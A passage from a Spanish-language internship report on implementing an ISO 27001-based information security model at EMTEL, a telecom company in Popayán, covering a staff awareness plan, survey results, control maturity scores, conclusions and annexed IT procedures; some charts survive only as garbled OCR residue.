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En concordancia a lo anterior, en el Anexo L y M se pueden apreciar las politicas de
seguridad de la informacion de la Empresa de Telecomunicaciones de Popayan S.A
EMTEL E.S.P, revisadas por la oficina de Juridica y aprobadas por la alta direccion.

3.10 PLAN DE SOCIALIZACION POLITICAS DE SEGURIDAD DE LA
INFORMACION

Como se ha mencionado a lo largo de este documentd, la seguridad de la
informacion se ha vuelto indispensable para cualquier empresa, siendo necesaria
para evitar situaciones indeseadas y momentos en los que la proteccién de los datos
de la empresa se vea comprometidos. Esto implica que no solo hay que contar con
un equipo de seguridad especializado, sino que todas las personas de la empresa
tienen que ser capaces de reaccionar de forma adecuada en situaciones de riesgo,
en ese sentido resulta necesario desarrollar una buena cultura de seguridad de la
informacion que permita concientizar a los empleados acerca de sus
responsabilidades en relacion al tema.

Objetivos

e Explicar a los empleados de la empresa de Telecomunicaciones de Popayan
S.A EMTEL E.S.P cuales son las principales politicas de seguridad de la
informacion y en donde pueden encontrarlas.

e Sensibilizar y concientizar a los empleados acerca de sus responsabilidades
en relacion al tema de seguridad, y las buenas précticas que se deben seguir
para proteger la informacion de la empresa.

Alcance

Aplica para todos los empleados de la empresa de Telecomunicaciones de Popayan
S.AEMTEL E.S.P

Tematica a desarrollar

Concepto de seguridad de la informacién

Norma 1SO27001

Sistema de Gestion de seguridad de la informacion

Modelo de Seguridad y Privacidad de la informacién propuesto por MinTIC
Explicaciéon de la politica general de la seguridad de la informacion
Generalidades sobre regulacién en materia de seguridad de la informacién
Explicaciéon de las politicas de seguridad de la informacion:

+ Politica de Seguridad de la Informacion

+ Politica Organizacion de la Informacién

+ Politica de dispositivos méviles

+ Politica gestion de activos
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+ Palitica control de acceso

+/ Politica copias de respaldo

+ Politica de proteccion de datos personales
+ Politica de escritorio y pantalla limpia

+ Politica prohibicion de software no autorizado

Roles y responsabilidades
\ ROL RESPONSABILIDAD

Coordinar al interior de sus procesos la participacion de los
empleados en las actividades del plan de socializacién de politicas de
seguridad de la informacion.

Fomentar la aplicacion de las buenas practicas de seguridad de la
JEFES DE informacion en la empresa

OFICINAY/O  |velar porque en las actividades de sus procesos apliquen las

SECCION recomendaciones e instrucciones en materia de seguridad que se
divulguen dentro del marco del plan de socializacién politicas de
seguridad de la informacion.

Identificar necesidades particulares en materia de seguridad de la
informacién para su proceso y personal a cargo.

Participar en la implementacién del plan de socializacion politicas de
seguridad de la informacién

Participar en las actividades propuestas en el plan de socializacién
politicas de seguridad de la informacion

Identificar los mecanismos que permitan implementar las
recomendaciones y buenas practicas del plan de socializacion

OFICINA politicas de seguridad de la informacion
TECNOLOGIAS : : : ; ; — —
DE LA Difundir entre los usuarios de los sistemas de informacién la adopcién

INEORMACION de las buenas practicas de seguridad

Fomentar la implementacion de las buenas practicas de seguridad de
la informacion propuestas en el plan de socializaciéon de politicas de
seguridad de la informacion.

Identificar oportunidades de mejora para la planificacion, disefio,
implementacion y evaluacion de futuros planes de capacitacion
relacionados con seguridad de la informacion.

Participar en las actividades del programa de socializacion politicas
de seguridad de la informacién

Identificar formas de implementar en sus actividades diarias las
recomendaciones y buenas practicas en seguridad de la informacién.

EMPLEADOS

Participar en la evaluacion del impacto y efectividad de las actividades
del plan de socializacion politicas de seguridad de la informacion.

Proponer actividades y temas a tratar en futuras capacitaciones
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Actividades de capacitacion
e Charlas

e Mensajes de sensibilizacion en relacion al tema de seguridad de la
informacion en la intranet de la empresa

Evaluacion, Mejoray Seguimiento

El plan de capacitacién de politicas de seguridad de la informacion se evaluara
mediante una encuesta (ver anexo N, aprobacién para realizar encuesta en
seguridad de la informacién) en donde se evaluara el nivel de compresion de las
PSI por parte de los empleados.

Los resultados de la evaluacion permitiran establecer cuéales politicas de seguridad
de la informacién son necesarias socializar nuevamente con los empleados de la
empresa.

Resultados del plan de socializacion

La socializacion en seguridad de la informacion en la Empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P se realizo el dia 4 de febrero
del presente afio (ver Anexo O listado de asistencia) a través de una charla como
se habia previsto, la tematica desarrollada fue la presentada en el plan de
socializacion, en la cual de manera formal se les comunico a los empleados de la
empresa la implementacion del Modelo de Seguridad y Privacidad de la Informacion,
asi mismo se socializaron las politicas de seguridad y los principales procedimientos
y guias que las soportan, finalmente de manera general se explica en que consisten
los diversos ataques informaticos y como evitarlos.

El plan de socializacion se evalu6 a través de una encuesta realizada a los
empleados antes y después de la capacitacion, los resultados obtenidos se
muestran a continuacion:

Resultados de la encuesta

Se entrevistaron un total de 55 empleados, obteniendo los siguientes resultados:
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¢, Considera que la seguridad de la informacion es importante en toda
empresa?

Antes Después

mS| mNO S| mNO

¢ Existen politicas de seguridad de la informacion en la empresa?

Antes Después

mS| mNO mS| mNO
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3. ¢Ha firmado un acuerdo de confidencialidad o no divulgacion de informacion
de la empresa?

Antes Después

mS| mNO S| mNO

4. ¢Existen reglas o lineamientos para el uso de medios y recursos de
procesamiento de informacion en la empresa, por ejemplo, correo
electrénico, internet o dispositivos moéviles?

Antes Después

mS| mNO HS| mNO
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¢, Realiza copias de seguridad de la informacion de la empresa que tiene a su
cargo?

Antes Después

mS| mNO S| mNO

¢Relaciona sus contrasefias de ingreso a sistemas de informacion,
aplicaciones y correos electronicos con nombres, fechas especiales,
nameros de teléfonos, etc?

Antes Después

HS| mNO HS| ENO
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7. ¢Cierrala seccion de su computador cuando no esta trabajando en él?

Antes Después

HSI ENO HSI ENO

8. ¢Los papeles o medios de almacenamiento electrénicos de la empresa los
guarda bajo llaves?

Antes Después

HS| ENO HS| ENO
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9. ¢Conoce la ley 44 de 1993, la cual sefiala las sanciones relacionadas con
derechos de autor de software?

Antes Después

S| mNO mS| mNO

10.¢Sabe en que consiste la ley 1581 de 2012 de proteccién de datos
personales?

Antes Después

HS| mNO HS| mNO
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11.;.Conoce en que consiste los principales ataques informaticos y como

evitarlos?
Antes Después
mS| mNO HS| mNO

12.¢Ha recibido capacitacion en seguridad de la informacién por parte de la

empresa?
Antes Después
=S| mNO mS| mNO

De acuerdo con los resultados de la encuesta se puede observar que la mayoria de
los empleados comprendieron la importancia de cumplir con las directrices en
seguridad de la informacién que establecid la empresa como herramienta de
proteccion de su informacion, asi mismo es importante afiadir que fortalecer las
habilidades de los empleados en seguridad de la informacién es un proceso que
requiere del apoyo de la alta direccion y de la puesta en marcha de capacitaciones
regulares en relacion al tema.

Por otro lado con el proposito de establecer el nivel de seguridad alcanzado por
EMTEL S.A E.S.P se hizo nuevamente uso del instrumento de evaluacion
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proporcionado por el MinTIC, el cual permitié determinar el avance en seguridad en
la empresa respecto a lo realizado hasta el momento y lo proyectado en la
declaracion de aplicabilidad, como se observa en la tabla 3.25 la empresa llegaria
a un estado de seguridad repetible en el que los procesos y controles se han
desarrollado hasta el punto en que son seguidos por la mayoria de los empleados.

Tabla 3.25 Avance en seguridad de la informacién esperado en la empresa de
acuerdo a lo realizado hasta el momento y lo proyectado en el SoA

Evaluacion de Efectividad de controles

EVALUACION
Calificacion | Calificacion DE
DOMINIO Actual Objetivo | EFECTIVIDAD
DE CONTROL
A5 POLITICAS DE SEGURIDAD DE LA INFORMACION 60 100 EFECTIVO
A.6 ORGANIZACION DE LA SEGURIDAD DE LA INFORMACION 21 100 REPETIBLE
A7 SEGURIDAD DE LOS RECURSOS HUMANOS 50 100 EFECTIVO
A.8 GESTION DE ACTIVOS 37 100 REPETIBLE
A9 CONTROL DE ACCESO 50 100 EFECTIVO
A.10 CRIPTOGRAFIA 30 100 REPETIBLE
A1l SEGURIDAD FiSICA Y DEL ENTORNO 44 100 EFECTIVO
A.12 SEGURIDAD DE LAS OPERACIONES 39 100 REPETIBLE
A.13 SEGURIDAD DE LAS COMUNICACIONES 20 100 INICIAL
ADQUISICION, DESARROLLO Y MANTENIMIENTO DE
A.14 SISTEMAS 6 100 INICIAL
A.15 RELACIONES CON LOS PROVEEDORES 0 100 INEXISTENTE
GESTION DE INCIDENTES DE SEGURIDAD DE LA
A.16 INFORMACION 60 100 EFECTIVO
ASPECTOS DE SEGURIDAD DE LA INFORMACION DE LA
A-17 GESTION DE LA CONTINUIDAD DEL NEGOCIO 10 100 INICIAL
A.18 CUMPLIMIENTO 32,5 100 REPETIBLE
PROMEDIO EVALUACION DE CONTROLES 33 100 REPETIBLE

Asi mismo en la figura 3.25 se puede apreciar que la brecha de seguridad de la
informacion respecto a la calificacion objetivo disminuiria considerablemente hasta
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el punto en el que la mayoria de los dominios pasarian de un estado inicial a un
estado efectivo y repetible.

BRECHA ANEXO A ISO 27001:2013

POLITICAS DE SEGURIDAD DE LA

INFORMACION )
s AT er
ASPECTOS DE SEGURIDAD DE LA 80 \ SEGURIDAD DE LOS RECURSOS
INFORMACION DE LA GESTION DEg 60 ® ° HUMANOS
LA CONTINUIDAD DEL NEGocy /\ \
. 40,
GESTION DE INCIDENTES DE ° ° )
SEGURIDAD DE LA INFORMACION§ . 20) | PGESTION DE ACTIVOS
ﬁ. ()
| '.' \
RELACIONES CON LOS ° P
() (
PROVEEDORES \ \ |/ CONTROL DE ACCESO
o==@
ADQUISICION, DESARROLLO Y'Y, d .
MANTENIMIENTO DE SISTEMAS \g / CRIPTOGRAFIA
SEGURIDAD DE L GURIDAD FiSICA Y DEL
COMUNICACIONES ———e="" ENTORNO

SEGURIDAD DE LAS OPERACIONES

e=om== Calificacion Actual  emem=(Calificacion Objetivo

Figura 3.25 Brecha de seguridad anexo A ISO 27001:2013 avance del MSPI en la empresa
Finalmente, a continuacion, se menciona los documentos que se generaron con el

desarrollo de esta practica profesional:

Procedimientos del proceso de Tecnologias de la Informacion (Anexo A)
Diagnéstico en seguridad de la Informacién (pag. 32-44)
Alcance MSPI (pag. 30)
Politica de seguridad y privacidad de la informacién (Anexo L)
Roles y responsabilidades asociadas a la seguridad y privacidad de la
informacion (Anexo M)
e Inventario y Clasificacion de activos de informacion del proceso de Tl (Anexo
B-Anexo C)
e Metodologia de gestion del riesgo de seguridad de la informacién (pag. 45-
82)
Declaracion de aplicabilidad (Anexo K)
Politicas especificas de Seguridad de la Informacion (Anexo M)
Plan de capacitacion, sensibilizacién y comunicacion de seguridad de la
informacion (pag. 86-93)
e Actas de Reunién comité de Seguridad de la informacion (Anexo P)
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Es importante mencionar que la seguridad de la informacion en una empresa es un
proceso de mejora continua, que requiere de la implementacién y evaluacion
constante de medidas que permitan evitar o minimizar las consecuencias no
deseadas producto de una situacion adversa, por lo que se recomienda la
actualizacion de documentos y/o actividades como se muestra a continuacion:

Tabla 3.26 Recomendaciones para la actualizacion de documentos y/o actividades

Documento y/o actividad

Periodo de actualizacién

Alcance del MSPI

La empresa debe ampliar el alcance del
MSPI en sus procesos misionales
(Direccion operativa, Direccidén servicio
al cliente, Direccion mercado y ventas,
Direccion integracion tecnologica), con

el propésito de garantizar la
confidencialidad, integridad y
disponibilidad de la informacion

manejada, procesada o almacenada
durante la prestacion de los servicios de
comunicacion.

Diagnostico en la

informacion

seguridad de

la
la

Realizar cada seis meses, 0 en
medida en que se avance con
implementacion del SoA

Politicas de seguridad de la informacion

Una vez al afio, o cuando se presenten
cambios significativos en la empresa,
garantizando de esta manera su
evolucién y cumplimiento

Inventario y clasificacion de activos

Cada 6 meses o por lo menos una vez al
afio

Metodologia de gestidon del riesgo

Cada 6 meses o por lo menos una vez al
ano

Declaracion de aplicabilidad

Se debe actualizar en la medida que el
alcance del MSPI se amplié y/o cuando
se realice la evaluacion de los controles
enmarcados en esta, ya que a través de
la evaluacion de controles se deben
establecer las medidas y acciones que
permitan el cumplimiento y mejora de los
MisSMos.

Capacitaciones en seguridad de la
informacion

Implementar un programa de toma de
conciencia en seguridad de Ia
informacion alineado a las politicas y
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procedimientos de seguridad, en el que
aproximadamente cada tres meses los
empleados y contratistas reciban
educacién y formacion (campafas,
charlas, folletos, etc) en el tema, con el
proposito que entiendan el objetivo de
seguridad de la informacion y el impacto
potencial, positivo y negativo, que tiene
Su propio comportamiento para la
empresa.
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4 CAPITULO CUATRO: CONCLUSIONES Y
TRABAJOS FUTUROS

4.1 CONCLUSIONES

» Se disefi6 un plan de seguridad de la informacion para la Empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P, especificamente para el
proceso de TI, el cual permitié identificar los activos criticos del proceso, los
riesgos a los cuales estan expuestos y los controles de la norma ISO 27001
necesarios para su mitigacion, asi mismo también se definio el responsable y las
actividades necesarias para la implementacion de cada control.

> El diagnostico en seguridad permitié establecer el estado de la gestion y
adopcién de controles técnicos y administrativos de la norma ISO 27001 al
interior de la empresa, insumo primordial en la fase de planificacién del Modelo
de Seguridad y Privacidad de la Informacion.

> El Modelo de Seguridad y Privacidad de la informacién no solo es una
herramienta que imparte los lineamientos para la adopcion de buenas practicas
en seguridad de la informacion en una entidad, sino que también facilita la
implementacién de un Sistema de Gestion de Seguridad de la Informacién.

> El Modelo de seguridad y privacidad de la informacion consta de cinco (5) fases,
diagnéstico, planificacion, operacion, evaluacion del desempefio y mejora
continua, las cuales permiten gestionar y mantener adecuadamente la seguridad
y privacidad en una entidad, con el desarrollo de esta practica profesional se
abordaron las fases de diagndéstico y planificacion para el proceso de Tl de la
Empresa de Telecomunicaciones de Popayan S.A EMTEL E.S.P, siendo esta
ultima la mas importante del ciclo, ya que en ella se define el plan de valoracion
del riesgo el cual tiene como objetivo identificar y ponderar los riesgos a los
cuales estan expuestos los activos de informacién de una empresa con la
finalidad de seleccionar los controles apropiados que permitan mitigarlos.

> Con el desarrollo e implementacion de las politicas de seguridad de la
informacion se evidencio el compromiso de la alta direccidén con su aprobacion,
ademas de asignar roles y responsabilidades y definir el enfoqué de la empresa
respecto a la seguridad de la informacién, estableciendo las directrices que
enmarcan el comportamiento de los empleados sobre la informacion obtenida,
generada y procesada por la empresa.

97



> Laimplementacion del comité de seguridad de la informacion en la Empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P permitio identificar las
estrategias para el desarrollo del Modelo de Seguridad y Privacidad de la
Informacion, garantizando de esta manera que se cumplan los lineamientos
propuestos en la fase de planificacion.

> Las pruebas de efectividad realizadas en la Empresa de Telecomunicaciones de
Popayan S.A EMTEL E.S.P, permitieron identificar fallos y vulnerabilidades
existentes en algunos de sus sistemas de informacion y equipos de computo,
ademas de dar un punto de partida para continuar con el aseguramiento de toda
la red e infraestructura de informacion.

» Aunque esta practica profesional estaba prevista para el desarrollo de la guia
N°1 Metodologia de pruebas de efectividad y N°2 Politica General del MSPI, con
el animo de profundizar mas en el tema y cumplir con los objetivos propuestos
de manera satisfactoria, se desarrollaron las guias 4 (Roles vy
responsabilidades), 5 (Gestion clasificacion de activos), 7 (Gestidon de riesgos) y
8 (Controles de seguridad de la informacién), logrando de esta manera la
implementacién de las principales guias del MSPI como lo estipula el MinTIC en
el documento Maestro del Modelo de Seguridad y Privacidad de la Informacion,
el cual surge como resultado de la reciente actualizacion del MSPI.

> Sensibilizar y concientizar al personal de la empresa con respecto a seguridad y
privacidad de la informacion se vuelve un factor esencial en la implementacion
del MSPI, ya que son ellos los principales actores que interactian con la
informacion y al mismo tiempo son el eslabon mas débil en seguridad, en ese
sentido resulta de gran importancia que todos los empleados estén al tanto de
las politicas de seguridad de la informacién, conozcan cual es su rol en el
cumplimiento de cada una de estas y de qué manera contribuyen con la adopcion
del MSPI.

> Esta préctica profesional no solo permitio generar un plan de seguridad de la
informacion para el proceso de TI, sino que también dar respuesta al
requerimiento N. 2020-048 del 31 de diciembre de 2020 (Sistema de Gestion de
Seguridad de la Informacion definido en virtud de lo establecido en la Resolucion
CRC 5569 de 2018 - ver anexo Q) presentado por la Comisién de Regulacion de
Comunicaciones, en el cual mediante la Resolucion CRC 5569 de 2018, define
para proveedores de redes de servicios de comunicaciones (PRTS) la obligacién
de adoptar una Politica de Seguridad de la Informacion que implemente un
Sistema de Gestion de Seguridad de la Informacion (SGSI), tendiente a
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4.2.

garantizar la confidencialidad, la integridad, la disponibilidad de los servicios de
comunicaciones y la informacién manejada, procesada o almacenada durante la
prestacion de los mismos, siguiendo para ello la familia de estandares ISO/IEC
27000.

TRABAJOS FUTUROS

Con la estrategia de gobierno digital del MinTIC, todas las entidades de caracter
publico de orden territorial y nacional estéan obligadas a implementar el Modelo
de Seguridad y Privacidad de la Informacién, por lo que cada vez mas crece la
demanda de personal calificado en el tema, es por ello que como trabajos futuros
se propone continuar con el apoyo en la implementacion de controles técnicos y
administrativos de la norma ISO/IEC 27001:2013 en la Empresa de
Telecomunicaciones de Popayan S.A EMTEL E.S.P, y asi mismo apoyar en la
implementacion del MSPI en las entidades publicas del departamento del Cauca,
sin importar el tipo o tamafio, ya que si bien es cierto que en una entidad pequeia
los presupuestos pueden ser mas ajustados, esto no es impedimento para su
implementacion, se pueden priorizar los procesos, servicios o productos que la
entidad desea proteger o que considere fundamentales para su operacion,
reduciendo de esta manera los posibles gastos en la implementacién de
controles.
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e PROCEDIMIENTO DE SOPORTE TECNICO

NOMBRE DE
LA

ANEXO A:

PROCEDIMIENTOS DE TI

ACTIVIDAD/ DESCRIPCION RESPONSABLE

REGISTRO/
DOCUMENT

ACTIVIDAD
Solicitud  de
soporte
técnico.

Para acceder al sistema de
gestion de solicitudes el
usuario debera ingresar a su
correo corporativo 0 a Ssu
cuenta de Gmail y enviar su
solicitud al correo electronico
soporte@emtel.com.co

El usuario debera
proporcionar una descripcion
completa de la solicitud,
incluyendo toda la
informacion necesaria para
ayudar al equipo de soporte a
darle solucién al incidente,
para ello debe diligenciar el
formulario que se encuentra
en su cuenta de Gmail o
correo corporativo.

Empleados de la

empresa.

@)

Que regqistro o
documento se
evidencia

problemas o
incidentes vy
clasificarlos

soluciéon al requerimiento o
problema en un primer nivel,
si es posible se dara paso a
la  actividad N°4  del
procedimiento.

En caso de que el problema
no pueda ser resuelto por el
técnico de soporte este debe
escalar el incidente al nivel 2

Revisar los - Técnico de
I El técnico de soporte debe
requerimiento |. o . soporte
ingresar al aplicativo y revisar
S, problemas o o
o b . las solicitudes hechas por los
incidencias .
e usuarios.
tecnologicas
Analizar los|El técnico de soporte|Técnico de
requerimiento, | verificard si es posible dar |soporte.



mailto:soporte@emtel.com.co

o al nivel 3 segun
corresponda.

Escalamiento de incidentes:
Nivel 1: El primer contacto es
el técnico de soporte el cual
revisara la solicitud vy
resolvera el incidente si es
posible

Nivel 2: El segundo contacto
de escalamiento en caso de
no conseguir los resultados
deseados es el tecndlogo de
TI.

Nivel 3: Aplica para los casos
que requieran un
escalamiento adicional,
ingeniero de TI.

Solucionar los
requerimiento,

problemas
incidentes
cerrar
solicitud.

0
y

El técnico de soporte dara
solucién a los requerimientos
0 incidentes que se
encuentren clasificados en
nivel 1 y cerrara la solicitud.

Si no es el caso asignar el
requerimiento al siguiente
nivel (nivel 2), en el cual el
tecndlogo de Tl debera darle
solucion.

Si la solucion es encontrada
por el tecnélogo de TI (nivel
2), este debe cerrar la
solicitud. En caso contrario el
tecndlogo debera escalar el
incidente al nivel 3 en donde
un ingeniero del subproceso
Tl debe dar solucién al
requerimiento o incidente y
finalmente cerrar la solicitud.
Para solucionar un
requerimiento o incidente el
empleado a cargo debera
trasladarse al area o sitio y
verificar el dafio reportado,
efectuar el arreglo software
y/o hardware, y realizar las

Técnico de
soporte/Tecnélo
go de
Tl/Ingeniero de
TI.




pruebas requeridas para
verificar el correcto
funcionamiento.

Nota 1: en el caso de que sea
necesario formatear un
equipo se debe solicitar la
autorizacion del jefe del
proceso al cual pertenece el
equipo y el visto bueno del
ingeniero de TI.

Nota 2: Cuando se realiza
revision de los equipos de
computo para verificar el
software instalado, si se
encuentra  software no
licenciado este sera
desinstalado y se procedera
a aplicar las medidas
correctivas establecidas en
las politicas de seguridad de
la informacién.

Diagrama de flujo procedimiento soporte técnico




Empleados de la empresa

Subproceso de Tl

Inicia

Solicitud d

El nivel de
ascalamiento  es 1%

Asignar a tecnologo de Tl

"\

Asignar a ingeniero de Tl

El ingeniero de Tl debera
solucionar requerimiento o
problema y cerrar solicitud

El tegnologo de Tl debera
: onar requerimiento o
problema y cerrar solicitud




PROCEDIMIENTO DE MANTENIMIENTO PREVENTIVO HARDWARE Y

SOFTWARE
NOMBRE DE
LA ACTIVIDAD

ACTIVIDAD /

RESPONSABLE

REGISTRO/
DOCUMENT

Disefar
cronograma de
mantenimiento

DESCRIPCION
Establecer un cronograma
para realizar el

mantenimiento preventivo

@)
Cronograma
de
mantenimient

preventivo de|de los equipos de la 0 preventivo

equipos empresa, _ademas de Ingeniero de T de_equos._
realizar un listado con las Hoja de vida
especificaciones y de equipos de
caracteristicas de cada computo.
uno de estos (Hoja de vida
del equipo).

Revisar el | El técnico de soporte debe | Técnico de

cronograma de |revisar las fechas | soporte

mantenimiento

estipuladas para efectuar
el mantenimiento y
programarse esas fechas
para realizarlo

Notificacion al
jefe de cada
area de la
realizacion de
mantenimiento

Tres dias antes de realizar

el mantenimiento
Tecnologias de la
Informacion debera

notificarle al jefe de cada
area sobre la actividad de
mantenimiento.

Ingeniero de TI

Revisar
funcionamiento
de equipo.

Acorde a las fechas
establecidas para la
realizacion del

mantenimiento preventivo

en los equipos de la
empresa, el técnico de
soporte debe iniciar
verificando el
funcionamiento de los
equipos en cuanto

procesamiento, velocidad
de ejecucion, programas,
etc y realizar copia de
seguridad por si detecta
alguna falla grave. En caso
de encontrar falla alguna

Técnico de

soporte




se debe seguir el
procedimiento de soporte
técnico.

Realizar Se debe realizar | Técnico de
mantenimiento |actualizacién de antivirus, | soporte
software actualizacion de

controladores, eliminar

archivos temporales del

visor de eventos,

desfragmentar disco

liberar espacio y

desinstalar software no

licenciado.
Realizar Se debe realizar limpieza | Técnico de
limpieza fisica |fisica al equipo utilizando | soporte
al equipo soplador, liquidos

especiales para partes

electronicas (memoria

RAM), limpieza de los

periféricos (teclado,

mouse) y realizar cambio

de pasta térmica.
Diligenciar Después de realizar el|Técnico de
formato de | mantenimiento preventivo | Soporte
registro  de g equipo el técnico de
mantenlmlentq soporte debe diligenciar el
y anexar hoja :
de vida del formato de registro de
equipo mantenimiento preventivo

en el cual se debe indicar

la fecha en la que se

realizo, y quien lo realizé

anexandolo a la hoja de

vida del equipo.
Realizar Una vez realizado el|Técnico de
pruebas al |mantenimiento al equipo | soporte
equipo. se deben realizar pruebas

de funcionamiento en
compafia del usuario.




Diagrama de flujo procedimiento de mantenimiento preventivo hardware y
software

Tecnoclogias de la informacidn

equipo

Realizar mantenimiento

soporte téc frwware

ciar formato de
de mantenimiento y
a e v :
equipo

Realizar prue s al equipo




PROCEDIMIENTO DE COPIAS DE RESPALDO (BACKUP
NOMBRE DE

LA

ACTIVIDAD

ACTIVIDAD /
DESCRIPCION

RESPONSABL
E

REGISTRO/
DOCUMENT
O

Identificar
esquema
copias
respaldo

el
de
de

De acuerdo con el inventario
y clasificacion de los activos
de informacion del
subproceso TI, se deben
identificar las bases de datos
gue se deben incluir en los
backups.

El tipo de backup dependera
del nivel de criticidad de la
informacion que maneja
cada servidor, en ese
sentido los tipos de backups
gue se realizan acorde a la
informacion son:

Full Backup: se realiza
diariamente a las 5 p.m
Para la retenciébn de los
backups se tendra en cuenta
lo siguiente:

Backup diarios: Los
backups se alojaran
diariamente en una cinta
magnética que se encuentra
en el mismo servidor, cada
cinta en promedio guarda la
informacion correspondiente
a 5afios

Backup mensual: Los
backups mensuales se
alojardan en una carpeta
dentro del mismo servidor y
tendra una retencion de 12
meses.

Ingeniero de TI

Programar
copias
respaldo.

de

Realizar la programacion
automética de los
respectivos backups de
acuerdo con su tipo y su
periodicidad, a través de las
herramientas

Ingeniero de TI




proporcionadas por el motor
de base de datos

Documentar
proceso de
copias de
respaldo

Los ingenieros y el técnico
de soporte que tengan a
cargo la realizacion de
copias de respaldo, deben
documentar el
procedimiento, teniendo en
cuenta los siguientes items:
IP del servidor

Nombre del servidor
Nombre de las bases datos
Periodicidad con la cual se
realiza el backup (Diario,
semanal, mensual, anual).
Ruta exacta donde se aloja
el backup

Modo de recuperacion

Ingeniero de TI,
Técnico de
soporte.

Verificar la
ejecucion de
las copias de
respaldo

El ingeniero o técnico de
soporte debe verificar que la
copia de respaldo se haya
ejecutado correctamente de
acuerdo a la periodicidad
con que se realice, de no ser
asi se debera reprogramar
nuevamente.

Ingeniero de TI,
Técnico de
soporte.

Comprobar
aleatoriament
e las copias de
respaldo de
bakups de
base de datos

Realizar una vez al mes
aleatoriamente la
restauracion de un backup
de bases de datos,
estableciendo la ruta donde
guedo la copia de respaldo,
en caso que se presenten
errores o problemas se debe
documentar en la bitacora
de regqistros de fallas.

Ingeniero de TI

Recuperar en
caso de fallas
0 desastre

En caso de presentarse una
falla en el servidor o
desastre que impacte la
operacion de la base de
datos relacionado  con
problemas del motor, se
realiza un diagndstico inicial
y se aplicaran las posibles

Coordinador del
subproceso TI,
ingeniero de Tl




soluciones. En caso que las
acciones ejecutadas no
permitan la normalizacion
del servicio, se realiza la
restauracion del backup mas
reciente de la base de datos
pertinente.




Diagrama de flujo procedimiento copias de respaldo

Tecnologias de la Informacion

squema de
aldo

Verificar la
copias




e PROCEDIMIENTO

TECNOLOGICAS

NOMBRE DE
LA

ACTIVIDAD /

DESCRIPCION

ADMINISTRACION

DE

RESPONSABL

E

PLATAFORMAS

REGISTRO/
DOCUMENT

ACTIVIDAD
Instalacién de
plataforma
tecnoldgica

El administrador a cargo de

la plataforma tecnologica
debe realizar la instalacion
de esta en un servidor o
maquina virtual
(documentar e identificar
ubicacion fisica del
servidor) designado por la
empresa teniendo en
cuenta las directrices
dadas por el proveedor de
la plataforma.

Ingeniero de TI

©)

Configuracion
de plataforma
tecnoldgica

Después de la instalacion
de la plataforma
tecnolégica se  debe
realizar la configuracion de

esta  (usuarios, roles,
permisos,
direccionamiento,
contrasefas de
administracion, etc) de

acuerdo a las necesidades
y requerimientos de la
empresa.

Ingeniero de TI

Aseguramient
o] de
plataforma
tecnoldgica

El ingeniero a cargo debe
identificar y minimizar las
debilidades que tiene el
servidor que soporta la
plataforma  tecnoldgica,
como cierre de puertos,
eliminacion de software
gque pueda producir un
incidente de seguridad,

revision de la
configuracion adecuada de
los servicios,

actualizaciones,

Ingeniero de TI




depuracion de usuarios,
entre otros; lo anterior, con
el fin de garantizar la

integridad,
confidencialidad y
disponibilidad de

informacion, ademas debe
realizar la instalacion de un
antivirus en el servidor
para protegerlo contra
programas maliciosos que
puedan afectar el
funcionamiento de este

Monitoreo de
plataforma
tecnoldgica

Se debe monitorear la
plataforma tecnoldgica con
el fin de mantener Ila
estabilidad de esta vy
detectar de forma
temprana algun incidente
gue de no ser controlado
podria provocar una falla
mayor y una baja de
servicios que son criticos
para la empresa, para ello
el personal a cargo de las
plataformas debe llevar
una bitacora y registro de
fallas y/o dafios, y de
acuerdo a esto establecer
el protocolo que se debe
seguir para darle su debida
solucién.

Ingeniero de TI




Diagrama de flujo procedimiento administracion de plataformas tecnoldgicas

Tecnologias de la informacién

Instalacidn de plataforma
tecnologica

Configuracidn de
plataforma tecnologica

Aseguramiento de
plataforma tecnologica

Monitoreo de plataforma
tecnologica




e PROCEDIMIENTO ADMINISTRACION Y GESTION DE RECURSOS

TECNOLOGICOS DE LA EMPRESA

NOMBRE DE ACTIVIDAD/

LA REGISTRO/
DESCRIPCION

DOCUMENTO

No

RESPONSABLE

ACTIVIDAD
Analizar la
necesidad de
la adquisicion
de un recurso
tecnoldgico.

El ingeniero de
tecnologias de la
informacion debe
analizar la necesidad de
la adquisicion de un
recurso tecnolégico vy
con base a ello debe
generar una lista de
renovacion tecnolégica
segun las necesidades
de los procesos de la
empresa, para ello debe
diligenciar el formato de
necesidad de recurso
tecnolégico en el que
especifique los
requerimientos de cada
uno de los recursos
tecnoldgicos que se van
adquirir 'y enviarlo a
recursos fisicos

Ingeniero de TI,

Generar
plan
compras.

un
de

De acuerdo a |Io
establecido en la lista y
a las necesidades que
tiene la empresa se
debe generar un plan de
compras adjuntado tres
cotizaciones y
definiendo la  mejor
opcion de compra.

Recursos fisicos

Aprobacion del
plan de
compras

Después de definir el
proveedor al cual se le
va realizar la compra, el
gerente debe dar su
aprobacion, y el recurso
fisico debe continuar
con la gestion de
compras siguiendo los
lineamientos

Recursos
fisicos/Gerente




establecidos por la
empresa.
Tramitar la | El subproceso de
compra compra debe diligenciar
la solicitud del
certificado de | Recursos fisicos
disponibilidad
presupuestal (CDP)
anexando los

documentos requeridos
y dirigirlo a presupuesto,
posteriormente con la
expedicion del CDP vy
del registro presupuestal
(RP), la cuenta de pago

sigue su tramite por
contabilidad y
finalmente llega a
tesoreria donde se
realizara el pago al
proveedor.
Recepcion y|El empleado encardo de | Recursos fisicos
registro de |almacén debe
recurso recepcionar y registrar el
tecnolégico en|activo en la plataforma
almacén tecnoldgica apoteosis
Entrega del Ingeniero de TI.
recurso Una vez registrada la

tecnoldgico por
parte del
subproceso de
compra al
subproceso de
Tl

compra el subproceso
de compra debe hacer la
entrega al subproceso
de Tl y diligenciar el acta
de recibido.

Verificar que
los  recursos
tecnoldgicos
adquiridos
cumplan
los
requerimientos
solicitados

con

El subproceso de TI
debe verificar que los
recursos tecnoldgicos
cumplan con los
requerimientos

establecidos con una
lista de chequeo




Configuracion | Posteriormente se debe | Coordinador del
del recurso | realizar la configuracién | subproceso TI,
tecnologico del recurso tecnologico | Gerente,
(instalacion de | Asistente de
8 programas, asignacion | contabilidad
de permisos) acorde a
los requerimientos 'y
necesidades de la
empresa.
Entrega de |Luego de que se haya
recurso hecho la configuracion
tecnolégico al|del recurso tecnolégico
9 proceso que lo|sera entregado,
requiera. instalado y asignado al
proceso de la empresa
gue los requiera.
Monitoreo  y|Con el objetivo de
mantenimiento | mantener en  buen
de recurso |estado los recursos
tecnoldgico tecnoloégicos de la
10 empresa, el subproceso

Tl debe realizar un
mantenimiento
preventivo cada seis

